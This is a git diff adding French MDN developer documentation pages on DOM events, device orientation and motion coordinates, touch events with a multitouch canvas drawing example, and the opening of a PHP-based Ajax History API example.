+  - DOM
+  - Event
+  - Guide
+  - TopicStub
+  - events
+translation_of: Web/Guide/Events
+---
+<p>{{draft()}}</p>
+
+<p>Tout ce que vous devez savoir sur les événements sera présenté ici. Nous travaillons sur le nettoyage ici maintenant.</p>
+
+<h2 id="Docs">Docs</h2>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/fr/web/guide/dom/events/les_données_d_orientation_et_de_mouvement_expliquées/index.html b/files/fr/web/guide/dom/events/les_données_d_orientation_et_de_mouvement_expliquées/index.html
new file mode 100644
index 0000000000..f7f7f0c204
--- /dev/null
+++ b/files/fr/web/guide/dom/events/les_données_d_orientation_et_de_mouvement_expliquées/index.html
@@ -0,0 +1,76 @@
+---
+title: Les données d'orientation et de mouvement expliquées
+slug: Web/Guide/DOM/Events/Les_données_d_orientation_et_de_mouvement_expliquées
+tags:
+  - Coordonnées
+  - Mobile
+  - Mouvement
+  - Orientation
+  - rotation
+translation_of: Web/Guide/Events/Orientation_and_motion_data_explained
+---
+<p>{{ Draft() }}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Lorsque vous utilisez des événements d'orientation et de mouvement, il est important de comprendre les valeurs que vous donne le navigateur. Cet article fournit des détails sur les systèmes de coordonnées en jeu et comment vous les utilisez.</p>
+
+<div class="warning">
+<p><strong>Attention :</strong> Actuellement, Firefox et Chrome ne gèrent pas ces  coordonnées de la même manière. Prenez-y garde en les utilisant.</p>
+</div>
+
+<h2 id="À_propos_des_cadres_de_coordonnées">À propos des cadres de coordonnées</h2>
+
+<p>Un <strong>cadre de coordonnées</strong> est un système grâce auquel l'orientation des trois axes (X, Y et Z) d'un objet est définie. Il existe deux cadres de coordonnées à prendre en compte lors de l'utilisation d'événements d'orientation et de mouvement:</p>
+
+<h3 id="Le_cadre_de_coordonnées_de_la_Terre">Le cadre de coordonnées de la Terre</h3>
+
+<p>Le cadre de coordonnées de la Terre est celui basé sur le centre de la Terre ; c'est-à-dire que les axes sont alignés sur la base de l'attraction de la gravité et de l'orientation nord magnétique standard. Nous utilisons des lettres majuscules ("X", "Y" et "Z") pour décrire les axes du cadre de coordonnées de la Terre.</p>
+
+<ul>
+ <li>L'axe <strong>X</strong>  suit le plan du sol, perpendiculaire à l'axe Y, et positif vers l'est (et donc négatif vers l'ouest).</li>
+ <li>L'axe <strong>Y</strong> suit le plan du sol et est positif vers le vrai nord (c'est-à-dire le pôle nord, pas le nord magnétique) et négatif vers le vrai sud.</li>
+ <li>L'axe <strong>Z</strong> est perpendiculaire au plan du sol ; pensez-y comme une ligne tracée entre l'appareil et le centre de la Terre. La valeur de la coordonnée Z est positive vers le haut (loin du centre de la Terre) et négative vers le bas (vers le centre de la Terre).</li>
+</ul>
+
+<h3 id="Le_cadre_de_coordonnées_de_l'appareil">Le cadre de coordonnées de l'appareil</h3>
+
+<p>Le cadre de coordonnées de l'appareil est basé sur le centre de l'appareil. Nous utilisons des lettres minuscules ("x", "y" et "z") pour décrire les axes du cadre de coordonnées de l'appareil.</p>
+
+<p><img alt="axes.png" class="default internal" src="/@api/deki/files/5694/=axes.png"></p>
+
+<ul>
+ <li>L'axe <strong>x</strong> est dans le plan de l'écran et est positif vers la droite et négatif vers la gauche.</li>
+ <li>L'axe <strong>y</strong> est dans le plan de l'écran et est positif vers le haut et négatif vers le bas.</li>
+ <li>L'axe <strong>z</strong> est perpendiculaire à l'écran ou au clavier et positif à partir de l'écran.</li>
+</ul>
+
+<div class="note"><strong>Note :</strong> Sur un téléphone ou une tablette, l'orientation de l'appareil est toujours considérée par rapport à l'orientation standard de l'écran ; c'est l'orientation "portrait" sur la plupart des appareils. Sur un ordinateur portable, l'orientation est considérée par rapport au clavier. Si vous voulez détecter les changements d'orientation de l'appareil pour compenser, vous pouvez utiliser l'évènement <code>orientationchange</code>.</div>
+
+<h2 id="À_propos_de_la_rotation">À propos de la rotation</h2>
+
+<p>La rotation est décrite  pour un axe donné en nombre de degrés d'écart entre le cadre de coordonnées de l'appareil et le cadre de coordonnées de la Terre, et est mesurée en degrés.</p>
+
+<h3 id="Alpha">Alpha</h3>
+
+<p>La rotation autour de l'axe z -- c'est-à-dire, son déplacement latéral, vers la gauche ou la droite - fait changer l'angle de rotation alpha :</p>
+
+<p><img alt="alpha.png" class="default internal" src="/@api/deki/files/5695/=alpha.png"></p>
+
+<p>L'angle alpha est de 0° quand le haut de l'appareil pointe vers le pôle nord, et augmente lorsque l'appareil est tourné vers la gauche.</p>
+
+<h3 id="Beta">Beta</h3>
+
+<p>La rotation autour de l'axe x -- c'est-à-dire, l'inclinaison de l'appareil de ou vers l'utilisateur -- provoque le changement de l'angle de rotation <strong>beta</strong> :</p>
+
+<p><img alt="beta.png" class="default internal" src="/@api/deki/files/5696/=beta.png"></p>
+
+<p>L'angle beta est de 0° lorsque le haut et le bas de l'appareil sont à la même distance de la surface de la Terre, et augmente vers 180 ° lorsque l'appareil est incliné vers l'avant et diminue vers -180 ° lorsque l'appareil est incliné vers l'arrière.</p>
+
+<h3 id="Gamma">Gamma</h3>
+
+<p>La rotation autour de l'axe Y -- c'est-à-dire, l'inclinaison de l'appareil vers la gauche ou la droite -- modifie l'angle de rotation <strong>gamma</strong> :</p>
+
+<p><img alt="gamma.png" class="default internal" src="/@api/deki/files/5697/=gamma.png"></p>
+
+<p>L'angle gamma est de 0° lorsque les côtés gauche et droit de l'appareil sont à la même distance de la surface de la Terre et augmente vers 90 ° lorsque l'appareil est incliné vers la droite, et vers -90 ° lorsque l'appareil est incliné vers la gauche.</p>
diff --git a/files/fr/web/guide/dom/events/touch_events/gérer_à_la_fois_événement_tactile_et_événement_de_la_souris/index.html b/files/fr/web/guide/dom/events/touch_events/gérer_à_la_fois_événement_tactile_et_événement_de_la_souris/index.html
new file mode 100644
index 0000000000..97174a4763
--- /dev/null
+++ b/files/fr/web/guide/dom/events/touch_events/gérer_à_la_fois_événement_tactile_et_événement_de_la_souris/index.html
@@ -0,0 +1,64 @@
+---
+title: Gérer à la fois événement tactile et événement de la souris
+slug: >-
+  Web/Guide/DOM/Events/Touch_events/Gérer_à_la_fois_événement_tactile_et_événement_de_la_souris
+translation_of: Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent
+---
+<p>{{DefaultAPISidebar("Touch Events")}}</p>
+
+<p>Les interfaces {{domxref("Touch_events","touch")}} permettent aux applications de créer de meilleures expériences utilisateurs sur les appareils tactiles. Pourtant, la grande majorité du contenu web actuel est développé pour fonctionner uniquement avec la souris. En conséquence, même si un navigateur supporte le tactile, le navigateur continue à <em>émuler</em> les événements de la souris, donc le contenu qui se veut fonctionner uniquement à la souris fonctionnera toujours <em>tel quel </em>sans modification directe.</p>
+
+<p>Idéalement, une application tactile n'a pas besoin de supporter explicitement la souris. Mais puisque le navigateur doit émuler les événements de la souris, il peut être nécessaire de gérer certains problèmes d'interaction. Ci-dessous, vous trouverez des détails concernant l'interaction et ses répercussions pour les développeurs d'application.</p>
+
+<h2 id="Déclenchement_de_l'événement">Déclenchement de l'événement</h2>
+
+<p>La norme des événements tactiles définit quelques exigences envers les navigateurs concernant l'interaction tactile et souris (voir la section <a href="https://w3c.github.io/touch-events/#mouse-events"><em>Interaction with Mouse Events and click</em></a> pour plus de détails), noter que <em>le navigateur peut déclencher à la fois des événements tactiles et des événements de la souris en réponse à une seule et même entrée de l'utilisateur.</em> Cette section décrit les exigences pouvant affecter une application.</p>
+
+<p>Si le navigateur déclenche à la fois des événements tactiles et souris en réponse à une seule entrée d'un utilisateur, le navigateur <em>doit</em> déclencher un événement {{event("touchstart")}} avant tout événement de la souris. En conséquence, si une application ne veut pas que des événements de la souris soient déclenchés sur un élément {{domxref("Touch.target","target")}} spécifiquement tactile, le gestionnaire de l'événement tactile de l'élément devrait appeler {{domxref("Event.preventDefault()","preventDefault()")}} ainsi aucun événement additionnel de la souris sera envoyé.</p>
+
+<p>Voici un extrait de code du gestionnaire de l'événement {{event("touchmove")}} qui appelle <code>preventDefault()</code>.</p>
+
+<pre class="brush: js">// touchmove handler
+function process_touchmove(ev) {
+  // Call preventDefault() to prevent any further handling
+  ev.preventDefault();
+}
+</pre>
+
+<h2 id="Ordre_des_événements">Ordre des événements</h2>
+
+<p>Même si l'ordre spécifique des événements tactiles et souris est défini par l'implémentation, la norme indique que l'ordre suivant est <em>représentatif:</em> pour une entrée :</p>
+
+<ul>
+ <li><code>touchstart</code></li>
+ <li>Zero ou plus d'événements <code>touchmove</code>, suivant le mouvement de(s) doigt(s)</li>
+ <li><code>touchend</code></li>
+ <li><code>mousemove</code></li>
+ <li><code>mousedown</code></li>
+ <li><code>mouseup</code></li>
+ <li><code>click</code></li>
+</ul>
+
+<p>Si l'événement {{event("touchstart")}}, {{event("touchmove")}} ou {{event("touchend")}} est annulé pendant une interaction, aucun événement de la souris ou du click sera déclenché, et la séquence des événements qui en résulte serait seulement :</p>
+
+<ul>
+ <li><code>touchstart</code></li>
+ <li>Zero ou plus d'événements <code>touchmove</code>, suivant le mouvement de(s) doigt(s)</li>
+ <li><code>touchend</code></li>
+</ul>
+
+<h2 id="Community">Community</h2>
+
+<ul>
+ <li><a href="https://github.com/w3c/touch-events">Touch Events Community Group</a></li>
+ <li><a href="https://lists.w3.org/Archives/Public/public-touchevents/">Mail list</a></li>
+ <li><a href="irc://irc.w3.org:6667/">W3C #touchevents IRC channel</a></li>
+</ul>
+
+<h2 id="Related_topics_and_resources">Related topics and resources</h2>
+
+<ul>
+ <li><a href="/Web/API/Touch_events">Touch Events Overview</a></li>
+ <li><a href="/Web/API/Touch_events/Using_Touch_Events">Using Touch Events</a></li>
+ <li><a href="http://www.html5rocks.com/en/mobile/touchandmouse/">Touch and Mouse (Together Again for the First Time)</a></li>
+</ul>
diff --git a/files/fr/web/guide/dom/events/touch_events/index.html b/files/fr/web/guide/dom/events/touch_events/index.html
new file mode 100644
index 0000000000..7f3cbae7b5
--- /dev/null
+++ b/files/fr/web/guide/dom/events/touch_events/index.html
@@ -0,0 +1,245 @@
+---
+title: Événements tactiles / Touch events
+slug: Web/Guide/DOM/Events/Touch_events
+tags:
+  - Tactile
+  - touch
+translation_of: Web/API/Touch_events
+---
+<p>{{DefaultAPISidebar("Touch Events")}}</p>
+
+<p>Afin de fournir un support de qualité pour les interfaces tactiles, les événements tactiles (<em>touch events</em>) permettent d'interpréter les interactions tactiles (sur les écrans ou trackpads).</p>
+
+<h2 id="Définitions">Définitions</h2>
+
+<dl>
+ <dt>Surface</dt>
+ <dd>La surface tactile. Cela peut être un écran ou un trackpad.</dd>
+</dl>
+
+<dl>
+ <dt><strong style="font-weight: bold;">Point de toucher (<em>Touch point</em>)</strong></dt>
+ <dd>Le point de contact avec la surface. Cela peut être un doigt ou un stylet (ou un coude, une oreille, un nez... enfin il y a quand même des chances que cela soit un doigt).</dd>
+</dl>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{ domxref("TouchEvent") }}</dt>
+ <dd>Représente l'événement qui se produit quand l'action de toucher change.</dd>
+ <dt>{{ domxref("Touch") }}</dt>
+ <dd>Représente un point unique de contact entre l'utilisateur et la surface tactile.</dd>
+ <dt>{{ domxref("TouchList") }}</dt>
+ <dd>Représente un groupe de plusieurs interactions tactiles. Cela peut par exemple être le cas quand l'utilisateur utilise plusieurs doigts pour toucher simultanément la même surface.</dd>
+ <dt>{{ domxref("DocumentTouch") }}</dt>
+ <dd>Contient des méthodes permettant de créer les objets  {{ domxref("Touch") }} et {{ domxref("TouchList") }}.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple permet de gérer un toucher multiple (plusieurs contacts simultanés), permettant ainsi à l'utilisateur de dessiner dans un {{ HTMLElement("canvas") }} avec plusieurs doigts. Cela ne fonctionne qu'avec les navigateurs supportant les interactions tactiles.</p>
+
+<div class="note"><strong>Note :</strong> Le texte qui suit utilisera le terme de « doigt » pour désigner le point de toucher entre l'utilisateur et la surface. Bien entendu, cela est transposable avec une autre méthode de toucher (stylet...).</div>
+
+<h3 id="Initialiser_les_gestionnaires_d'événements">Initialiser les gestionnaires d'événements</h3>
+
+<p>Quand la page charge, la fonction <code>startup()</code> décrite ci-dessous est appelée par l'attribut <code>onload</code> de l'élément {{ HTMLElement("body") }}.</p>
+
+<pre class="brush: js">function startup() {
+  var el = document.getElementsByTagName("canvas")[0];
+  el.addEventListener("touchstart", handleStart, false);
+  el.addEventListener("touchend", handleEnd, false);
+  el.addEventListener("touchcancel", handleCancel, false);
+  el.addEventListener("touchleave", handleLeave, false);
+  el.addEventListener("touchmove", handleMove, false);
+}
+</pre>
+
+<p>Cela permet simplement d'initialiser les observateurs d'événements pour l'élément {{ HTMLElement("canvas") }} afin de pouvoir gérer ceux-ci lorsqu'ils se produisent.</p>
+
+<h3 id="Gérer_les_nouveaux_touchers">Gérer les nouveaux touchers</h3>
+
+<p>Quand un événement <code>touchstart</code> se produit, cela indique qu'un nouveau toucher s'est produit. La fonction <code>handleStart()</code> est alors appelée.</p>
+
+<pre class="brush: js">function handleStart(evt) {
+  evt.preventDefault();
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i=0; i&lt;touches.length; i++) {
+    ongoingTouches.push(touches[i]);
+    var color = colorForTouch(touches[i]);
+    ctx.fillStyle = color;
+    ctx.fillRect(touches[i].pageX-2, touches[i].pageY-2, 4, 4);
+  }
+}
+</pre>
+
+<p>Cette fonction appelle {{ domxref("event.preventDefault()") }}, ce qui évite au navigateur de continuer à traiter cet événement (le début du toucher). Cela permet aussi de ne pas déclencher d'événement de souris. On obtient ensuite le contexte, duquel on peut obtenir une liste des changements des points de toucher grâce à la propriété {{ domxref("TouchEvent.changedTouches") }} de l'événement.</p>
+
+<p>Après quoi, on fait une boucle sur les différents objets {{ domxref("Touch") }} de la liste. puis on les stocke dans un tableau pour ensuite dessiner les points (on souhaite peindre une ligne large de 4 pixels, on dessinera donc des points comme des carrés mesurant 4x4 pixels).</p>
+
+<h3 id="Dessiner_avec_les_déplacements">Dessiner avec les déplacements</h3>
+
+<p>Chaque fois que le(s) doigt(s) bouge(nt), un événement <code>touchmove</code> est déclenché, ce qui provoque l'appel de la fonction <code>handleMove()</code> que l'on a créée. Son rôle, dans cet exemple, est d'actualiser les informations mises en cache sur les informations tactiles et de dessiner une ligne entre la position précédente et la position actuelle pour chacune des touches.</p>
+
+<pre class="brush: js">function handleMove(evt) {
+  evt.preventDefault();
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  ctx.lineWidth = 4;
+
+  for (var i=0; i&lt;touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    ctx.fillStyle = color;
+    ctx.beginPath();
+    ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+    ctx.lineTo(touches[i].pageX, touches[i].pageY);
+    ctx.closePath();
+    ctx.stroke();
+    ongoingTouches.splice(idx, 1, touches[i]);  // mettre à jour la liste des touchers
+  }
+}
+</pre>
+
+<p>Cette fonction boucle également sur les changements de touchers. Elle consulte toutefois les informations en cache dans le tableau pour déterminer le point de départ de chaque nouveau segment. Cela se fait en consultant la propriété {{ domxref("Touch.identifier") }}. Cette propriété est un entier unique pour chaque touche, cet entier reste le même pour chaque événement tant que le doigt est en contact avec la surface.</p>
+
+<p>Cela permet d'obtenir les précédentes coordonnées pour chaque toucher et ainsi d'utiliser la méthode adaptée pour dessiner le segment reliant les deux positions.</p>
+
+<p>Une fois le segment dessiné, on appelle <a href="/fr/JavaScript/Reference/Global_Objects/Array/splice" title="en/JavaScript/Reference/Global Objects/Array/splice"><code>Array.splice()</code></a> pour remplacer les informations précédentes sur les points de toucher par les informations courantes contenues dans le tableau <code>ongoingTouches</code>.</p>
+
+<h3 id="Gérer_la_fin_d'un_toucher">Gérer la fin d'un toucher</h3>
+
+<p>Lorsqu'un utilisateur enlève son doigt de la surface, un événement <code>touchend</code> est envoyé. De la même manière, un événement <code>touchleave</code> sera envoyé si le doigt sort du canvas. Ici, les deux événements sont gérés en commun avec la fonction <code>handleEnd()</code> ci-dessous. Son rôle est de dessiner le dernier segment pour chaque toucher qui s'est fini et de retirer le point de contact de la liste.</p>
+
+<pre class="brush: js">function handleEnd(evt) {
+  evt.preventDefault();
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  ctx.lineWidth = 4;
+
+  for (var i=0; i&lt;touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    ctx.fillStyle = color;
+    ctx.beginPath();
+    ctx.moveTo(ongoingTouches[i].pageX, ongoingTouches[i].pageY);
+    ctx.lineTo(touches[i].pageX, touches[i].pageY);
+    ongoingTouches.splice(i, 1);  // On enlève le point
+  }
+}
+</pre>
+
+<p>Cette fonction ressemble beaucoup à la précédente sauf qu'ici en appelant <a href="/en/JavaScript/Reference/Global_Objects/Array/splice" title="en/JavaScript/Reference/Global Objects/Array/splice"><code>Array.splice()</code></a>, on retire simplement l'ancien point sans ajouter un point mis à jour. On arrête donc de « suivre » ce point.</p>
+
+<h3 id="Gérer_l'annulation_d'un_toucher">Gérer l'annulation d'un toucher</h3>
+
+<p>Si le doigt de l'utilisateur se balade dans l'interface du navigateur ou si un toucher doit être annulé, l'événement <code>touchcancel</code> est envoyé et on appelle alors la fonction <code>handleCancel()</code>.</p>
+
+<pre class="brush: js">function handleCancel(evt) {
+  evt.preventDefault();
+  var touches = evt.changedTouches;
+
+  for (var i=0; i&lt;touches.length; i++) {
+    ongoingTouches.splice(i, 1);  // on retire le point
+  }
+}
+</pre>
+
+<p>L'idée est ici la même que pour la fin d'un toucher, on retire simplement le point de la liste. Ici on ne dessine pas le dernier segment.</p>
+
+<h3 id="Fonctions_auxiliaires">Fonctions auxiliaires</h3>
+
+<p>Cet exemple utilise deux fonctions auxiliaires qu'il est conseillé de lire rapidement afin de mieux comprendre le reste du code.</p>
+
+<h4 id="Sélectionner_une_couleur_pour_chaque_toucher">Sélectionner une couleur pour chaque toucher</h4>
+
+<p>Afin que chaque contact soit différent, on utilisera la fonction <code>colorForTouch()</code> pour choisir un couleur unique pour chacun, basée sur l'identifiant du toucher. Cet identifiant sera toujours compris entre 0 et le nombre de touchers moins 1. Imaginons que personne n'utilisera plus de 16 touchers simultanés, on peut alors directement convertir les identifiants en niveaux de gris.</p>
+
+<pre class="brush: js">function colorForTouch(touch) {
+  var id = touch.identifier;
+  id = id.toString(16); // creer un nombre hexadécimal
+  return "#" + id + id + id;
+}
+</pre>
+
+<p>Le résultat de cette fonction sera une chaîne de caractères qui pourra être utilisée par les fonctions de l'élément {{ HTMLElement("canvas") }} pour dessiner les couleurs. Ainsi avec un identifiant initial {{ domxref("Touch.identifier") }} de 10, le résultat de cette fonction sera la chaîne "#aaa".</p>
+
+<h4 id="Retrouver_un_toucher_en_cours">Retrouver un toucher en cours</h4>
+
+<p>La fonction <code>ongoingTouchIndexById()</code> analyse le tableau <code>ongoingTouches</code> pour trouver le toucher correspondant à l'identifiant donné. Elle retourne alors l'indice du toucher dans le tableau.</p>
+
+<pre class="brush: js">function ongoingTouchIndexById(idToFind) {
+  for (var i=0; i&lt;ongoingTouches.length; i++) {
+    var id = ongoingTouches[i].identifier;
+
+    if (id == idToFind) {
+      return i;
+    }
+  }
+  return -1;    // toucher non trouvé
+}
+</pre>
+
+<p><a href="/samples/domref/touchevents.html">Voir l'exemple sur une page</a></p>
+
+<h2 id="Astuces_supplémentaires">Astuces supplémentaires</h2>
+
+<p>Cette section fournit quelques astuces supplémentaires pour gérer les événements tactiles au sein de votre application web.</p>
+
+<h3 id="Gérer_les_clics">Gérer les clics</h3>
+
+<p>Étant donné que l'appel de la méthode <code>preventDefault()</code> sur l'événement  <code>touchstart</code> ou le premier événement <code>touchmove</code> de la série empêche la saisie d'événements en provenance de la souris, on appelle souvent  <code>preventDefault()</code> sur <code>touchmove</code> plutôt que sur <code>touchstart</code>. Ainsi, les événements de la souris peuvent continuer à se déclencher et le reste du site fonctionnera de manière habituelle. Une autre méthode parfois utilisée est de déclencher des événements de souris à partir des événements tactiles. (L'exemple qui suit représente seulement une indication. La logique a été simplifiée et ce code, tel quel, aura un comportement étrange.)</p>
+
+<pre class="brush: js">function onTouch(evt) {
+  evt.preventDefault();
+  if (evt.touches.length &gt; 1 || (evt.type == "touchend" &amp;&amp; evt.touches.length &gt; 0))
+    return;
+
+  var newEvt = <a href="https://developer.mozilla.org/en/DOM/document.createEvent" rel="internal" title="en/DOM/document.createEvent">document.createEvent</a>("MouseEvents");
+  var type = null;
+  var touch = null;
+  switch (event.type) {
+    case "touchstart": type = "mousedown"; touch = event.changedTouches[0];
+    case "touchmove":  type = "mousemove"; touch = event.changedTouches[0];
+    case "touchend":   type = "mouseup"; touch = event.changedTouches[0];
+  }
+  newEvt.<strong>initMouseEvent</strong>(type, true, true, event.<code><a href="https://developer.mozilla.org/en/DOM/event.originalTarget" rel="custom">originalTarget</a>.ownerDocument.defaultView</code>, 0,
+    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
+    evt.ctrlKey, evt.altKey, evt.shirtKey, evt.metaKey, 0, null);
+  event.<code><a href="https://developer.mozilla.org/en/DOM/event.originalTarget" rel="custom">originalTarget</a></code>.<a href="https://developer.mozilla.org/en/DOM/element.dispatchEvent" rel="internal" title="en/DOM/element.dispatchEvent">dispatchEvent</a>(newEvt);
+}
+</pre>
+
+<h3 id="Appeler_preventDefault()_uniquement_pour_un_deuxième_toucher">Appeler preventDefault() uniquement pour un deuxième toucher</h3>
+
+<p>Pour éviter que des événements de zoom (comme <code>pinchZoom</code>) ne se produisent sur la page, il est possible d'appeler la méthode <code>preventDefault()</code> sur le deuxième toucher de la série. Ce comportement n'est pas encore parfaitement défini dans les différentes spécifications. Différents résultats se produisent sur les différents navigateurs (ainsi iOS empêchera le zoom mais continuera à autoriser le déroulement de la page avec deux doigts, Android autorisera le zoom mais pas le déroulement, Opera et Firefox empêcheront ces deux opérations). Il est actuellement déconseillé d'être dépendant d'un de ces comportements en particulier. Il faut plutôt utiliser les méta-données concernant la vue virtuelle (<em>viewport</em>) pour éviter un zoom quelconque.</p>
+
+<dl>
+</dl>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Touch")}}</p>
+
+<div id="compat-mobile"> </div>
+
+<h3 id="Notes_relatives_à_Gecko">Notes relatives à Gecko</h3>
+
+<p>Le paramètre <code>dom.w3c_touch_events.enabled</code> peut être utilisé avec ses trois états pour désactiver (0), activer (1) et détecter automatiquement (2) le support des événements tactiles. La valeur par défaut est la détection automatique (2). Une fois que le paramètre a été changé, il est nécessaire de redémarrer le navigateur.</p>
+
+<div class="geckoVersionNote" style="">
+<p>{{ gecko_callout_heading("12.0") }}</p>
+
+<p>Avant Gecko 12.0 {{ geckoRelease("12.0") }}, Gecko ne supportait pas les contacts multiples simultanés. Seul un toucher à la fois était supporté.</p>
+</div>
+
+<div class="note"><strong>Note : </strong>Avant Gecko 6.0 {{ geckoRelease("6.0") }}, Gecko permettait d'utiliser une <a href="/en/DOM/Touch_events_(Mozilla_experimental)" title="en/DOM/Touch events (Mozilla experimental)">API propriétaire pour les événements tactile.</a> Cette API est maintenant dépréciée, celle-ci doit être utilisée à la place.</div>
diff --git a/files/fr/web/guide/dom/index.html b/files/fr/web/guide/dom/index.html
new file mode 100644
index 0000000000..3fa42aa4d9
--- /dev/null
+++ b/files/fr/web/guide/dom/index.html
@@ -0,0 +1,29 @@
+---
+title: Guides DOM pour développeurs
+slug: Web/Guide/DOM
+tags:
+  - API
+  - DOM
+  - Guide
+  - TopicStub
+translation_of: Web/API/Document_Object_Model
+---
+<p>{{draft}}</p>
+
+<p>Le <a href="/docs/DOM">Document Object Model</a> est une API pour les documents <a href="/en-US/docs/HTML">HTML</a> et <a href="/en-US/docs/XML">XML</a>. Il fournit une représentation structurelle du document, permettant au développeur de modifier son contenu et sa présentation visuelle. Essentiellement, il connecte des pages Web à des scripts ou des langages de programmation.</p>
+
+<p>Toutes les propriétés, méthodes, et événements disponible pour le développeur web pour manipuler et créer des pages Web sont organisés en <a href="/en-US/docs/Gecko_DOM_Reference">objects</a> (par exemple, l'objet de document qui représente le document lui-même, l'objet de table qui représente un élément de tableau HTML, etc.). Ces objets sont accessibles via les langages de script dans les navigateurs Web les plus récents.</p>
+
+<p>Le DOM est le plus souvent utilisé en conjonction avec <a href="/en-US/docs/JavaScript">JavaScript</a>. Cependant, le DOM a été conçu pour être indépendant de tout langage de programmation particulier, rendant la représentation structurelle du document disponible à partir d'une API unique et cohérente. <span class="tlid-translation translation" lang="fr"><span title="">Bien que nous nous concentrions sur JavaScript tout au long de ce site, les implémentations du DOM peuvent être construites pour</span></span> <a href="http://www.w3.org/DOM/Bindings">n'importe quel langage</a>.</p>
+
+<p>Le <a href="http://www.w3.org/">World Wide Web Consortium</a> établit une <a href="http://www.w3.org/DOM/">norme pour le DOM</a>, appelée W3C DOM. Il devrait, maintenant que les navigateurs les plus importants l'implémentent correctement, activer de puissantes applications multi-navigateurs.</p>
+
+<h2 id="Why_is_the_DOM_support_in_Mozilla_important.3F" name="Why_is_the_DOM_support_in_Mozilla_important.3F">Pourquoi le DOM est-il important?</h2>
+
+<p>"HTML dynamique" (<a href="/en-US/docs/DHTML">DHTML</a>) est un terme utilisé par certains fournisseurs pour écrire la combinaison de HTML, de feuilles de style et de scripts permettant d'animer les documents. Le groupe de travail DOM du W3C travaille d'arrache-pied pour s'assurer que des solutions interopérables et indépendantes du langage sont convenues (voir également la <a href="http://www.w3.org/DOM/faq.html">FAQ du W3C</a>). Comme Mozilla revendique le titre de "Web Application Platform", la prise en charge du DOM est l'une des fonctionnalités les plus demandées, et nécessaire si Mozilla veut être une alternative viable aux autres navigateurs.</p>
+
+<p>Encore plus important est le fait que l'interface utilisateur de Mozilla (également Firefox et Thunderbird) est construite en utilisant <a href="/en-US/docs/XUL" title="/en-US/docs/XUL">XUL</a>, en utilisant le DOM pour <a href="/en-US/docs/Dynamically_modifying_XUL-based_user_interface">manipuler sa propre interface utilisateur</a>.</p>
+
+<h2 id="En_savoir_plus_sur_le_DOM">En savoir plus sur le DOM</h2>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/fr/web/guide/dom/manipuler_historique_du_navigateur/example/index.html b/files/fr/web/guide/dom/manipuler_historique_du_navigateur/example/index.html
new file mode 100644
index 0000000000..f19782d753
--- /dev/null
+++ b/files/fr/web/guide/dom/manipuler_historique_du_navigateur/example/index.html
@@ -0,0 +1,392 @@
+---
+title: Exemple de navigation en Ajax
+slug: Web/Guide/DOM/Manipuler_historique_du_navigateur/Example
+translation_of: Web/API/History_API/Example
+---
+<p>Voici un exemple de site web AJAX composé uniquement de trois pages (<em>page_un.php</em>, <em>page_deux.php</em> et <em>page_trois.php</em>). Pour tester cet exemple, merci de créer les fichiers suivants :</p>
+<p><strong>page_un.php</strong>:</p>
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+  <pre class="brush: php">&lt;?php
+    $page_title = "Page un";
+
+    $as_json = false;
+    if (isset($_GET["view_as"]) &amp;&amp; $_GET["view_as"] == "json") {
+        $as_json = true;
+        ob_start();
+    } else {
+?&gt;
+&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;?php
+        include "include/header.php";
+        echo "&lt;title&gt;" . $page_title . "&lt;/title&gt;";
+?&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;?php include "include/before_content.php"; ?&gt;
+
+&lt;p&gt;This paragraph is shown only when the navigation starts from &lt;strong&gt;first_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;div id="ajax-content"&gt;
+&lt;?php } ?&gt;
+
+    &lt;p&gt;This is the content of &lt;strong&gt;first_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;?php
+    if ($as_json) {
+        echo json_encode(array("page" =&gt; $page_title, "content" =&gt; ob_get_clean()));
+    } else {
+?&gt;
+&lt;/div&gt;
+
+&lt;p&gt;This paragraph is shown only when the navigation starts from &lt;strong&gt;first_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;?php
+        include "include/after_content.php";
+        echo "&lt;/body&gt;\n&lt;/html&gt;";
+    }
+?&gt;
+</pre>
+</div>
+<p><strong>page_deux.php</strong>:</p>
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+  <pre class="brush: php">&lt;?php
+    $page_title = "Page deux";
+
+    $as_json = false;
+    if (isset($_GET["view_as"]) &amp;&amp; $_GET["view_as"] == "json") {
+        $as_json = true;
+        ob_start();
+    } else {
+?&gt;
+&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;?php
+        include "include/header.php";
+        echo "&lt;title&gt;" . $page_title . "&lt;/title&gt;";
+?&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;?php include "include/before_content.php"; ?&gt;
+
+&lt;p&gt;This paragraph is shown only when the navigation starts from &lt;strong&gt;second_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;div id="ajax-content"&gt;
+&lt;?php } ?&gt;
+
+    &lt;p&gt;This is the content of &lt;strong&gt;second_page.php&lt;/strong&gt;.&lt;/p&gt;
+
+&lt;?php
+    if ($as_json) {
+        echo json_encode(array("page" =&gt; $page_title, "content" =&gt; ob_get_clean()));
+    } else {
+?&gt;
+&lt;/div&gt;
+
